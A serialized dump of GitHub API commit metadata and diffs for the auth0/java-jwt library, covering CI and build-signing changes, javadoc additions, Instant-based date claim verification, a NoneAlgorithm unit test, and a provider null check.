site_adminuj)`  }(jD`  	poovamrajjF`  J j`  MDQ6VXNlcjE1OTEwNDI1jH`  4https://avatars.githubusercontent.com/u/15910425?v=4jJ`  h3j3`  &https://api.github.com/users/poovamrajj?`  https://github.com/poovamrajjM`  0https://api.github.com/users/poovamraj/followersjO`  =https://api.github.com/users/poovamraj/following{/other_user}jQ`  6https://api.github.com/users/poovamraj/gists{/gist_id}jS`  =https://api.github.com/users/poovamraj/starred{/owner}{/repo}jU`  4https://api.github.com/users/poovamraj/subscriptionsjW`  +https://api.github.com/users/poovamraj/orgsjY`  ,https://api.github.com/users/poovamraj/reposj[`  7https://api.github.com/users/poovamraj/events{/privacy}j]`  6https://api.github.com/users/poovamraj/received_eventsj_`  Userja`  uparents]}(j`  (931cd1243c4653744c0f1cc59f182566139cd2c5j3`  \https://api.github.com/repos/auth0/java-jwt/commits/931cd1243c4653744c0f1cc59f182566139cd2c5j?`  Qhttps://github.com/auth0/java-jwt/commit/931cd1243c4653744c0f1cc59f182566139cd2c5uastats}(totalK	additionsK 	deletionsKufiles](}(j`  (1675c39fbd79cf6eba87148e42511922dfdefdd4filename.circleci/config.ymlstatusmodifiedj{`  K j|`  KchangesKblob_urlfhttps://github.com/auth0/java-jwt/blob/14618b5af545e382ce734ef3cb54ba12398460dc/.circleci%2Fconfig.ymlraw_urlehttps://github.com/auth0/java-jwt/raw/14618b5af545e382ce734ef3cb54ba12398460dc/.circleci%2Fconfig.ymlcontents_urlxhttps://api.github.com/repos/auth0/java-jwt/contents/.circleci%2Fconfig.yml?ref=14618b5af545e382ce734ef3cb54ba12398460dcpatchX  @@ -1,6 +1,5 @@
 version: 2.1
 orbs:
-  ship: auth0/ship@0
   codecov: codecov/codecov@3
 
 commands:
@@ -57,17 +56,6 @@ workflows:
   build-and-test:
     jobs:
       - build
-      - ship/java-publish:
-          prefix-tag: false
-          context:
-            - publish-gh
-            - publish-sonatype
-          filters:
-            branches:
-              only:
-                - master
-          requires:
-            - build
   api-diff:
     jobs:
       - api-diffu}(j`  (6b2fdfe3da18f1c07b06bd3ea8caf030369159a1j`  lib/build.gradlej`  modifiedj{`  K j|`  Kj`  Kj`  bhttps://github.com/auth0/java-jwt/blob/14618b5af545e382ce734ef3cb54ba12398460dc/lib%2Fbuild.gradlej`  ahttps://github.com/auth0/java-jwt/raw/14618b5af545e382ce734ef3cb54ba12398460dc/lib%2Fbuild.gradlej`  thttps://api.github.com/repos/auth0/java-jwt/contents/lib%2Fbuild.gradle?ref=14618b5af545e382ce734ef3cb54ba12398460dcj`  X  @@ -1,6 +1,3 @@
-buildscript {
-    version = "4.2.1"
-}
 
 plugins {
     id 'java'
@@ -9,13 +6,6 @@ plugins {
     id 'checkstyle'
 }
 
-def signingKey = findProperty('signingKey')
-def signingKeyPwd = findProperty('signingPassword')
-
-signing {
-    useInMemoryPgpKeys(signingKey, signingKeyPwd)
-}
-
 checkstyle {
     toolVersion '10.0'
     checkstyleTest.enabled = false //We are disabling lint checks for tests
@@ -29,7 +19,6 @@ oss {
     organization "auth0"
     description "Java implementation of JSON Web Token (JWT)"
     baselineCompareVersion "4.1.0"
-    skipAssertSigningConfiguration true
 
     developers {
         auth0 {ueu(15ad712c7d0edb75a636ba030f59263c20dc91c8}(sha(15ad712c7d0edb75a636ba030f59263c20dc91c8node_idEC_kwDOAQtL0doAKDE1YWQ3MTJjN2QwZWRiNzVhNjM2YmEwMzBmNTkyNjNjMjBkYzkxYzgcommit}(author}(nameJames Andersonemailjim.anderson@auth0.comdate2022-03-06T20:56:48Zu	committer}(j`  James Andersonj`  jim.anderson@auth0.comj`  2022-03-06T20:56:48Zumessageadd javadocstree}(j`  (9a77ed550a85171a58959bd0faf2206fa42fb9e0url^https://api.github.com/repos/auth0/java-jwt/git/trees/9a77ed550a85171a58959bd0faf2206fa42fb9e0uj`  `https://api.github.com/repos/auth0/java-jwt/git/commits/15ad712c7d0edb75a636ba030f59263c20dc91c8
comment_countK verification}(verifiedreasonunsigned	signatureNpayloadNuuj`  \https://api.github.com/repos/auth0/java-jwt/commits/15ad712c7d0edb75a636ba030f59263c20dc91c8html_urlQhttps://github.com/auth0/java-jwt/commit/15ad712c7d0edb75a636ba030f59263c20dc91c8comments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/15ad712c7d0edb75a636ba030f59263c20dc91c8/commentsj`  }(login
jimmyjamesidJ7 j`  MDQ6VXNlcjI3NjIyNQ==
avatar_url2https://avatars.githubusercontent.com/u/276225?v=4gravatar_idh3j`  'https://api.github.com/users/jimmyjamesj`  https://github.com/jimmyjames
followers_url1https://api.github.com/users/jimmyjames/followers
following_url>https://api.github.com/users/jimmyjames/following{/other_user}	gists_url7https://api.github.com/users/jimmyjames/gists{/gist_id}starred_url>https://api.github.com/users/jimmyjames/starred{/owner}{/repo}subscriptions_url5https://api.github.com/users/jimmyjames/subscriptionsorganizations_url,https://api.github.com/users/jimmyjames/orgs	repos_url-https://api.github.com/users/jimmyjames/repos
events_url8https://api.github.com/users/jimmyjames/events{/privacy}received_events_url7https://api.github.com/users/jimmyjames/received_eventstypeUser
site_adminuj`  }(j`  
jimmyjamesj`  J7 j`  MDQ6VXNlcjI3NjIyNQ==j`  2https://avatars.githubusercontent.com/u/276225?v=4j`  h3j`  'https://api.github.com/users/jimmyjamesj`  https://github.com/jimmyjamesj`  1https://api.github.com/users/jimmyjames/followersj`  >https://api.github.com/users/jimmyjames/following{/other_user}j`  7https://api.github.com/users/jimmyjames/gists{/gist_id}j`  >https://api.github.com/users/jimmyjames/starred{/owner}{/repo}j`  5https://api.github.com/users/jimmyjames/subscriptionsj`  ,https://api.github.com/users/jimmyjames/orgsj`  -https://api.github.com/users/jimmyjames/reposj`  8https://api.github.com/users/jimmyjames/events{/privacy}j`  7https://api.github.com/users/jimmyjames/received_eventsj`  Userj`  uparents]}(j`  (86b25b1f778ab3fb6313b55845dbceb4cca40f41j`  \https://api.github.com/repos/auth0/java-jwt/commits/86b25b1f778ab3fb6313b55845dbceb4cca40f41j`  Qhttps://github.com/auth0/java-jwt/commit/86b25b1f778ab3fb6313b55845dbceb4cca40f41uastats}(totalK		additionsK		deletionsK ufiles]}(j`  (7d58fe2fdc9e3ea164b6eccdc40565f6b764effbfilename/lib/src/main/java/com/auth0/jwt/JWTCreator.javastatusmodifiedj`  K	j`  K changesK	blob_urlhttps://github.com/auth0/java-jwt/blob/15ad712c7d0edb75a636ba030f59263c20dc91c8/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreator.javaraw_urlhttps://github.com/auth0/java-jwt/raw/15ad712c7d0edb75a636ba030f59263c20dc91c8/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreator.javacontents_urlhttps://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreator.java?ref=15ad712c7d0edb75a636ba030f59263c20dc91c8patchX  @@ -308,6 +308,15 @@ public Builder withClaim(String name, Date value) throws IllegalArgumentExceptio
             return this;
         }
 
+        /**
+         * Add a custom Claim value. The claim will be written as seconds since the epoch.
+         * Milliseconds will be truncated by rounding down to the nearest second.
+         *
+         * @param name  the Claim's name.
+         * @param value the Claim's value.
+         * @return this same Builder instance.
+         * @throws IllegalArgumentException if the name is null.
+         */
         public Builder withClaim(String name, Instant value) throws IllegalArgumentException {
             assertNonNull(name);
             addClaim(name, value);uau(1eb07936b813d4b9f88a12e8384c378d591812a9}(sha(1eb07936b813d4b9f88a12e8384c378d591812a9node_idEC_kwDOAQtL0doAKDFlYjA3OTM2YjgxM2Q0YjlmODhhMTJlODM4NGMzNzhkNTkxODEyYTkcommit}(author}(nameJames Andersonemailjim.anderson@auth0.comdate2022-03-09T23:09:55Zu	committer}(ja  James Andersonja  jim.anderson@auth0.comja  2022-03-09T23:09:55Zumessage4[SDK-3186] Support date/time custom claim validationtree}(j
a  (15cb9b3059ac3af9910459201b6c839978769e3durl^https://api.github.com/repos/auth0/java-jwt/git/trees/15cb9b3059ac3af9910459201b6c839978769e3duj%a  `https://api.github.com/repos/auth0/java-jwt/git/commits/1eb07936b813d4b9f88a12e8384c378d591812a9
comment_countK verification}(verifiedreasonunsigned	signatureNpayloadNuuj%a  \https://api.github.com/repos/auth0/java-jwt/commits/1eb07936b813d4b9f88a12e8384c378d591812a9html_urlQhttps://github.com/auth0/java-jwt/commit/1eb07936b813d4b9f88a12e8384c378d591812a9comments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/1eb07936b813d4b9f88a12e8384c378d591812a9/commentsja  }(login
jimmyjamesidJ7 ja  MDQ6VXNlcjI3NjIyNQ==
avatar_url2https://avatars.githubusercontent.com/u/276225?v=4gravatar_idh3j%a  'https://api.github.com/users/jimmyjamesj1a  https://github.com/jimmyjames
followers_url1https://api.github.com/users/jimmyjames/followers
following_url>https://api.github.com/users/jimmyjames/following{/other_user}	gists_url7https://api.github.com/users/jimmyjames/gists{/gist_id}starred_url>https://api.github.com/users/jimmyjames/starred{/owner}{/repo}subscriptions_url5https://api.github.com/users/jimmyjames/subscriptionsorganizations_url,https://api.github.com/users/jimmyjames/orgs	repos_url-https://api.github.com/users/jimmyjames/repos
events_url8https://api.github.com/users/jimmyjames/events{/privacy}received_events_url7https://api.github.com/users/jimmyjames/received_eventstypeUser
site_adminuja  }(j6a  
jimmyjamesj8a  J7 ja  MDQ6VXNlcjI3NjIyNQ==j:a  2https://avatars.githubusercontent.com/u/276225?v=4j<a  h3j%a  'https://api.github.com/users/jimmyjamesj1a  https://github.com/jimmyjamesj?a  1https://api.github.com/users/jimmyjames/followersjAa  >https://api.github.com/users/jimmyjames/following{/other_user}jCa  7https://api.github.com/users/jimmyjames/gists{/gist_id}jEa  >https://api.github.com/users/jimmyjames/starred{/owner}{/repo}jGa  5https://api.github.com/users/jimmyjames/subscriptionsjIa  ,https://api.github.com/users/jimmyjames/orgsjKa  -https://api.github.com/users/jimmyjames/reposjMa  8https://api.github.com/users/jimmyjames/events{/privacy}jOa  7https://api.github.com/users/jimmyjames/received_eventsjQa  UserjSa  uparents]}(j
a  (90cea2d99680b985130f702ccb830bb322458171j%a  \https://api.github.com/repos/auth0/java-jwt/commits/90cea2d99680b985130f702ccb830bb322458171j1a  Qhttps://github.com/auth0/java-jwt/commit/90cea2d99680b985130f702ccb830bb322458171uastats}(totalK	additionsK	deletionsKufiles](}(j
a  (5bcc7bc76991a29f280afe4e3e79129c3c89c687filename0lib/src/main/java/com/auth0/jwt/JWTVerifier.javastatusmodifiedjma  K	jna  KchangesKblob_urlhttps://github.com/auth0/java-jwt/blob/1eb07936b813d4b9f88a12e8384c378d591812a9/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTVerifier.javaraw_urlhttps://github.com/auth0/java-jwt/raw/1eb07936b813d4b9f88a12e8384c378d591812a9/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTVerifier.javacontents_urlhttps://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTVerifier.java?ref=1eb07936b813d4b9f88a12e8384c378d591812a9patchX\  @@ -174,8 +174,14 @@ public Verification withClaim(String name, String value) throws IllegalArgumentE
 
         @Override
         public Verification withClaim(String name, Date value) throws IllegalArgumentException {
+            return withClaim(name, value != null ? value.toInstant() : null);
+        }
+
+        @Override
+        public Verification withClaim(String name, Instant value) throws IllegalArgumentException {
             assertNonNull(name);
-            requireClaim(name, value);
+            // Since date-time claims are serialized as epoch seconds, we need to compare them with only seconds-granularity
+            requireClaim(name, value != null ? value.truncatedTo(ChronoUnit.SECONDS) : null);
             return this;
         }
 
@@ -371,8 +377,8 @@ private void assertValidClaim(Claim claim, String claimName, Object value) {
             isValid = value.equals(claim.asBoolean());
         } else if (value instanceof Double) {
             isValid = value.equals(claim.asDouble());
-        } else if (value instanceof Date) {
-            isValid = value.equals(claim.asDate());
+        } else if (value instanceof Instant) {
+            isValid = value.equals(claim.asInstant());
         } else if (value instanceof Object[]) {
             List<Object> claimArr;
             Object[] claimAsObject = claim.as(Object[].class);u}(j
a  (e3b3e6f2bef664af60e3a4abadf259afd2b4e5ecjsa  <lib/src/main/java/com/auth0/jwt/interfaces/Verification.javajua  modifiedjma  Kjna  Kjwa  Kjxa  https://github.com/auth0/java-jwt/blob/1eb07936b813d4b9f88a12e8384c378d591812a9/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FVerification.javajza  https://github.com/auth0/java-jwt/raw/1eb07936b813d4b9f88a12e8384c378d591812a9/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FVerification.javaj|a  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FVerification.java?ref=1eb07936b813d4b9f88a12e8384c378d591812a9j~a  X  @@ -2,6 +2,7 @@
 
 import com.auth0.jwt.JWTVerifier;
 
+import java.time.Instant;
 import java.util.Date;
 
 /**
@@ -176,7 +177,8 @@ default Verification withAnyOfAudience(String... audience) {
     Verification withClaim(String name, String value) throws IllegalArgumentException;
 
     /**
-     * Require a specific Claim value.
+     * Require a specific Claim value. Note that date-time claims are serialized as seconds since the epoch; when verifying
+     * date-time claim value, any time units more granular than seconds will be discarded.
      *
      * @param name  the Claim's name.
      * @param value the Claim's value.
@@ -185,6 +187,19 @@ default Verification withAnyOfAudience(String... audience) {
      */
     Verification withClaim(String name, Date value) throws IllegalArgumentException;
 
+    /**
+     * Require a specific Claim value. Note that date-time claims are serialized as seconds since the epoch; when verifying
+     * a date-time claim value, any time units more granular than seconds will be discarded.
+     *
+     * @param name  the Claim's name.
+     * @param value the Claim's value.
+     * @return this same Verification instance.
+     * @throws IllegalArgumentException if the name is null.
+     */
+    default Verification withClaim(String name, Instant value) throws IllegalArgumentException {
+        return withClaim(name, value != null ? Date.from(value) : null);
+    }
+
     /**
      * Require a specific Array Claim to contain at least the given items.
      *u}(j
a  (be2a2b4b46315aad5cdf470c361f666fd0da5f05jsa  4lib/src/test/java/com/auth0/jwt/JWTVerifierTest.javajua  modifiedjma  Kjna  Kjwa  Kjxa  https://github.com/auth0/java-jwt/blob/1eb07936b813d4b9f88a12e8384c378d591812a9/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTVerifierTest.javajza  https://github.com/auth0/java-jwt/raw/1eb07936b813d4b9f88a12e8384c378d591812a9/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTVerifierTest.javaj|a  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTVerifierTest.java?ref=1eb07936b813d4b9f88a12e8384c378d591812a9j~a  X  @@ -517,7 +517,7 @@ public void shouldValidateCustomClaimOfTypeBoolean() {
     @Test
     public void shouldValidateCustomClaimOfTypeDate() {
         String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoxNDc4ODkxNTIxfQ.mhioumeok8fghQEhTKF3QtQAksSvZ_9wIhJmgZLhJ6c";
-        Date date = new Date(1478891521000L);
+        Date date = new Date(1478891521123L);
         DecodedJWT jwt = JWTVerifier.init(Algorithm.HMAC256("secret"))
                 .withClaim("name", date)
                 .build()ueu(9132ef317a5f97b89b28c33225cd4917d722a5d2}(sha(9132ef317a5f97b89b28c33225cd4917d722a5d2node_idEC_kwDOAQtL0doAKDkxMzJlZjMxN2E1Zjk3Yjg5YjI4YzMzMjI1Y2Q0OTE3ZDcyMmE1ZDIcommit}(author}(nameli.heemailli.he@thoughtworks.comdate2022-10-20T07:02:08Zu	committer}(ja  li.heja  li.he@thoughtworks.comja  2022-10-20T07:02:08ZumessageDtest: NoneAlgorithm- Compatible with the original base64 encoded jwttree}(ja  (48f9907c22300ced46e5a76995c592abb559b53durl^https://api.github.com/repos/auth0/java-jwt/git/trees/48f9907c22300ced46e5a76995c592abb559b53duja  `https://api.github.com/repos/auth0/java-jwt/git/commits/9132ef317a5f97b89b28c33225cd4917d722a5d2
comment_countK verification}(verifiedreasonunsigned	signatureNpayloadNuuja  \https://api.github.com/repos/auth0/java-jwt/commits/9132ef317a5f97b89b28c33225cd4917d722a5d2html_urlQhttps://github.com/auth0/java-jwt/commit/9132ef317a5f97b89b28c33225cd4917d722a5d2comments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/9132ef317a5f97b89b28c33225cd4917d722a5d2/commentsja  }(loginheli-twidJPja  U_kgDOBcxQpA
avatar_url4https://avatars.githubusercontent.com/u/97276068?v=4gravatar_idh3ja  $https://api.github.com/users/heli-twja  https://github.com/heli-tw
followers_url.https://api.github.com/users/heli-tw/followers
following_url;https://api.github.com/users/heli-tw/following{/other_user}	gists_url4https://api.github.com/users/heli-tw/gists{/gist_id}starred_url;https://api.github.com/users/heli-tw/starred{/owner}{/repo}subscriptions_url2https://api.github.com/users/heli-tw/subscriptionsorganizations_url)https://api.github.com/users/heli-tw/orgs	repos_url*https://api.github.com/users/heli-tw/repos
events_url5https://api.github.com/users/heli-tw/events{/privacy}received_events_url4https://api.github.com/users/heli-tw/received_eventstypeUser
site_adminuja  }(ja  heli-twja  JPja  U_kgDOBcxQpAja  4https://avatars.githubusercontent.com/u/97276068?v=4ja  h3ja  $https://api.github.com/users/heli-twja  https://github.com/heli-twja  .https://api.github.com/users/heli-tw/followersja  ;https://api.github.com/users/heli-tw/following{/other_user}ja  4https://api.github.com/users/heli-tw/gists{/gist_id}ja  ;https://api.github.com/users/heli-tw/starred{/owner}{/repo}ja  2https://api.github.com/users/heli-tw/subscriptionsja  )https://api.github.com/users/heli-tw/orgsja  *https://api.github.com/users/heli-tw/reposja  5https://api.github.com/users/heli-tw/events{/privacy}ja  4https://api.github.com/users/heli-tw/received_eventsja  Userja  uparents]}(ja  (33356b191d1c64c1f3bb13de43d2e33181f0d671ja  \https://api.github.com/repos/auth0/java-jwt/commits/33356b191d1c64c1f3bb13de43d2e33181f0d671ja  Qhttps://github.com/auth0/java-jwt/commit/33356b191d1c64c1f3bb13de43d2e33181f0d671uastats}(totalK	additionsK	deletionsKufiles]}(ja  (7d3cc48f34c3a03f3b1b530c018ef88b9fd42071filenameAlib/src/test/java/com/auth0/jwt/algorithms/NoneAlgorithmTest.javastatusmodifiedja  Kja  KchangesKblob_urlhttps://github.com/auth0/java-jwt/blob/9132ef317a5f97b89b28c33225cd4917d722a5d2/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FNoneAlgorithmTest.javaraw_urlhttps://github.com/auth0/java-jwt/raw/9132ef317a5f97b89b28c33225cd4917d722a5d2/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FNoneAlgorithmTest.javacontents_urlhttps://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FNoneAlgorithmTest.java?ref=9132ef317a5f97b89b28c33225cd4917d722a5d2patchX  @@ -22,6 +22,8 @@ public void shouldPassNoneVerification() {
         Algorithm algorithm = Algorithm.none();
         String jwt = "eyJhbGciOiJub25lIiwiY3R5IjoiSldUIn0.eyJpc3MiOiJhdXRoMCJ9.";
         algorithm.verify(JWT.decode(jwt));
+
+        algorithm.verify(JWT.decode(jwt), true);
     }
 
     @Test
@@ -56,4 +58,4 @@ public void shouldThrowWhenSignatureNotValidBase64() {
         Algorithm algorithm = Algorithm.none();
         algorithm.verify(JWT.decode(jwt));
     }
-}
\ No newline at end of file
+}uau(89fbc61318641b88e3b8b400ff4e8a67d04632fa}(sha(89fbc61318641b88e3b8b400ff4e8a67d04632fanode_idEC_kwDOAQtL0doAKDg5ZmJjNjEzMTg2NDFiODhlM2I4YjQwMGZmNGU4YTY3ZDA0NjMyZmEcommit}(author}(name
Poovamraj T Temailpoovamraj@gmail.comdate2022-08-31T13:56:09Zu	committer}(jb  
Poovamraj T Tjb  poovamraj@gmail.comjb  2022-08-31T13:56:09ZumessageDisable API difftree}(jb  (4e5dbce52678c50bf05d0264b74c5a286d657648url^https://api.github.com/repos/auth0/java-jwt/git/trees/4e5dbce52678c50bf05d0264b74c5a286d657648ujb  `https://api.github.com/repos/auth0/java-jwt/git/commits/89fbc61318641b88e3b8b400ff4e8a67d04632fa
comment_countK verification}(verifiedreasonunsigned	signatureNpayloadNuujb  \https://api.github.com/repos/auth0/java-jwt/commits/89fbc61318641b88e3b8b400ff4e8a67d04632fahtml_urlQhttps://github.com/auth0/java-jwt/commit/89fbc61318641b88e3b8b400ff4e8a67d04632facomments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/89fbc61318641b88e3b8b400ff4e8a67d04632fa/commentsj
b  }(login	poovamrajidJ j	b  MDQ6VXNlcjE1OTEwNDI1
avatar_url4https://avatars.githubusercontent.com/u/15910425?v=4gravatar_idh3jb  &https://api.github.com/users/poovamrajj+b  https://github.com/poovamraj
followers_url0https://api.github.com/users/poovamraj/followers
following_url=https://api.github.com/users/poovamraj/following{/other_user}	gists_url6https://api.github.com/users/poovamraj/gists{/gist_id}starred_url=https://api.github.com/users/poovamraj/starred{/owner}{/repo}subscriptions_url4https://api.github.com/users/poovamraj/subscriptionsorganizations_url+https://api.github.com/users/poovamraj/orgs	repos_url,https://api.github.com/users/poovamraj/repos
events_url7https://api.github.com/users/poovamraj/events{/privacy}received_events_url6https://api.github.com/users/poovamraj/received_eventstypeUser
site_adminujb  }(j0b  	poovamrajj2b  J j	b  MDQ6VXNlcjE1OTEwNDI1j4b  4https://avatars.githubusercontent.com/u/15910425?v=4j6b  h3jb  &https://api.github.com/users/poovamrajj+b  https://github.com/poovamrajj9b  0https://api.github.com/users/poovamraj/followersj;b  =https://api.github.com/users/poovamraj/following{/other_user}j=b  6https://api.github.com/users/poovamraj/gists{/gist_id}j?b  =https://api.github.com/users/poovamraj/starred{/owner}{/repo}jAb  4https://api.github.com/users/poovamraj/subscriptionsjCb  +https://api.github.com/users/poovamraj/orgsjEb  ,https://api.github.com/users/poovamraj/reposjGb  7https://api.github.com/users/poovamraj/events{/privacy}jIb  6https://api.github.com/users/poovamraj/received_eventsjKb  UserjMb  uparents]}(jb  (122a8af5c09b72a6fd22185970031c1a5b3e6961jb  \https://api.github.com/repos/auth0/java-jwt/commits/122a8af5c09b72a6fd22185970031c1a5b3e6961j+b  Qhttps://github.com/auth0/java-jwt/commit/122a8af5c09b72a6fd22185970031c1a5b3e6961uastats}(totalK	additionsK
	deletionsK
ufiles]}(jb  (73f58ddbf2869d87213816dd820f282bf8b1b38afilename.circleci/config.ymlstatusmodifiedjgb  K
jhb  K
changesKblob_urlfhttps://github.com/auth0/java-jwt/blob/89fbc61318641b88e3b8b400ff4e8a67d04632fa/.circleci%2Fconfig.ymlraw_urlehttps://github.com/auth0/java-jwt/raw/89fbc61318641b88e3b8b400ff4e8a67d04632fa/.circleci%2Fconfig.ymlcontents_urlxhttps://api.github.com/repos/auth0/java-jwt/contents/.circleci%2Fconfig.yml?ref=89fbc61318641b88e3b8b400ff4e8a67d04632fapatchX  @@ -41,21 +41,21 @@ jobs:
       GRADLE_OPTS: '-Dorg.gradle.jvmargs="-Xmx2048m -XX:+HeapDumpOnOutOfMemoryError"'
       _JAVA_OPTIONS: "-Xms512m -Xmx1024m"
       TERM: dumb
-  api-diff:
-    docker:
-      - image: openjdk:11.0-jdk
-    steps:
-      - checkout-and-build
-      - run-api-diff
-    environment:
-      GRADLE_OPTS: '-Dorg.gradle.jvmargs="-Xmx2048m -XX:+HeapDumpOnOutOfMemoryError"'
-      _JAVA_OPTIONS: "-Xms512m -Xmx1024m"
-      TERM: dumb
+  # api-diff:
+  #   docker:
+  #     - image: openjdk:11.0-jdk
+  #   steps:
+  #     - checkout-and-build
+  #     - run-api-diff
+  #   environment:
+  #     GRADLE_OPTS: '-Dorg.gradle.jvmargs="-Xmx2048m -XX:+HeapDumpOnOutOfMemoryError"'
+  #     _JAVA_OPTIONS: "-Xms512m -Xmx1024m"
+  #     TERM: dumb
 
 workflows:
   build-and-test:
     jobs:
       - build
-  api-diff:
-    jobs:
-      - api-diff
+  # api-diff:
+  #   jobs:
+  #     - api-diffuau(acc3723d0d454f508e3e3c4315b02d1e16649995}(sha(acc3723d0d454f508e3e3c4315b02d1e16649995node_idEC_kwDOAQtL0doAKGFjYzM3MjNkMGQ0NTRmNTA4ZTNlM2M0MzE1YjAyZDFlMTY2NDk5OTUcommit}(author}(nameAntónio Pedro Santosemailaps@dnxt.ptdate2022-09-26T10:20:17Zu	committer}(jb  António Pedro Santosjb  aps@dnxt.ptjb  2022-09-26T10:20:17Zumessageincrement test coveragetree}(j|b  (88ac6aaa6ccb9f37b0f7b4fd39fbd4ef428b6b39url^https://api.github.com/repos/auth0/java-jwt/git/trees/88ac6aaa6ccb9f37b0f7b4fd39fbd4ef428b6b39ujb  `https://api.github.com/repos/auth0/java-jwt/git/commits/acc3723d0d454f508e3e3c4315b02d1e16649995
comment_countK verification}(verifiedreasonvalid	signature-----BEGIN PGP SIGNATURE-----

iHUEABYKAB0WIQS/x9KuztyA3mLS2S8QJVoVuKaCBgUCYzF84QAKCRAQJVoVuKaC
BiKzAP4ueRIaU7GSCoXhSjzN/DipR1gAclsekaV4KawVKppSpwEA21zBRRnrzJ7N
9wIyQFgwo9mnYKBWX4C2muqtOmZlNgI=
=LdG2
-----END PGP SIGNATURE-----payloadtree 88ac6aaa6ccb9f37b0f7b4fd39fbd4ef428b6b39
parent 20331d34ea2dee3510522f774b24b478019730a5
author António Pedro Santos <aps@dnxt.pt> 1664187617 +0100
committer António Pedro Santos <aps@dnxt.pt> 1664187617 +0100

increment test coverage
uujb  \https://api.github.com/repos/auth0/java-jwt/commits/acc3723d0d454f508e3e3c4315b02d1e16649995html_urlQhttps://github.com/auth0/java-jwt/commit/acc3723d0d454f508e3e3c4315b02d1e16649995comments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/acc3723d0d454f508e3e3c4315b02d1e16649995/commentsjb  }(loginaps-dnxtidJj~b  MDQ6VXNlcjc3NDYxNDA0
avatar_url4https://avatars.githubusercontent.com/u/77461404?v=4gravatar_idh3jb  %https://api.github.com/users/aps-dnxtjb  https://github.com/aps-dnxt
followers_url/https://api.github.com/users/aps-dnxt/followers
following_url<https://api.github.com/users/aps-dnxt/following{/other_user}	gists_url5https://api.github.com/users/aps-dnxt/gists{/gist_id}starred_url<https://api.github.com/users/aps-dnxt/starred{/owner}{/repo}subscriptions_url3https://api.github.com/users/aps-dnxt/subscriptionsorganizations_url*https://api.github.com/users/aps-dnxt/orgs	repos_url+https://api.github.com/users/aps-dnxt/repos
events_url6https://api.github.com/users/aps-dnxt/events{/privacy}received_events_url5https://api.github.com/users/aps-dnxt/received_eventstypeUser
site_adminujb  }(jb  aps-dnxtjb  Jj~b  MDQ6VXNlcjc3NDYxNDA0jb  4https://avatars.githubusercontent.com/u/77461404?v=4jb  h3jb  %https://api.github.com/users/aps-dnxtjb  https://github.com/aps-dnxtjb  /https://api.github.com/users/aps-dnxt/followersjb  <https://api.github.com/users/aps-dnxt/following{/other_user}jb  5https://api.github.com/users/aps-dnxt/gists{/gist_id}jb  <https://api.github.com/users/aps-dnxt/starred{/owner}{/repo}jb  3https://api.github.com/users/aps-dnxt/subscriptionsjb  *https://api.github.com/users/aps-dnxt/orgsjb  +https://api.github.com/users/aps-dnxt/reposjb  6https://api.github.com/users/aps-dnxt/events{/privacy}jb  5https://api.github.com/users/aps-dnxt/received_eventsjb  Userjb  uparents]}(j|b  (20331d34ea2dee3510522f774b24b478019730a5jb  \https://api.github.com/repos/auth0/java-jwt/commits/20331d34ea2dee3510522f774b24b478019730a5jb  Qhttps://github.com/auth0/java-jwt/commit/20331d34ea2dee3510522f774b24b478019730a5uastats}(totalM1	additionsK	deletionsKFufiles](}(j|b  (e9bbf344bca67777541de68937e171fc06ed4b79filename/lib/src/main/java/com/auth0/jwt/JWTCreator.javastatusmodifiedjb  Kjb  KchangesKblob_urlhttps://github.com/auth0/java-jwt/blob/acc3723d0d454f508e3e3c4315b02d1e16649995/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreator.javaraw_urlhttps://github.com/auth0/java-jwt/raw/acc3723d0d454f508e3e3c4315b02d1e16649995/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreator.javacontents_urlhttps://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreator.java?ref=acc3723d0d454f508e3e3c4315b02d1e16649995patchX  @@ -564,6 +564,10 @@ public String sign(Algorithm algorithm) throws IllegalArgumentException, JWTCrea
          */
         public String sign(Algorithm algorithm, String providerName)
                 throws IllegalArgumentException, JWTCreationException, NoSuchProviderException {
+            if(providerName==null){
+                throw new IllegalArgumentException("providerName cannot be null");
+            }
+
             Provider provider = Security.getProvider(providerName);
             if (provider == null) {
                 throw new NoSuchProviderException(String.format("No provider named [%s] installed", providerName));
@@ -610,22 +614,6 @@ private void addClaim(String name, Object value) {
 
     }
 
-    private String sign() throws SignatureGenerationException {
-        return sign((Provider) null);
-    }
-
-
-    // Added methods to support specifying provider
-
-    private String sign(String providerName) throws SignatureGenerationException, NoSuchProviderException {
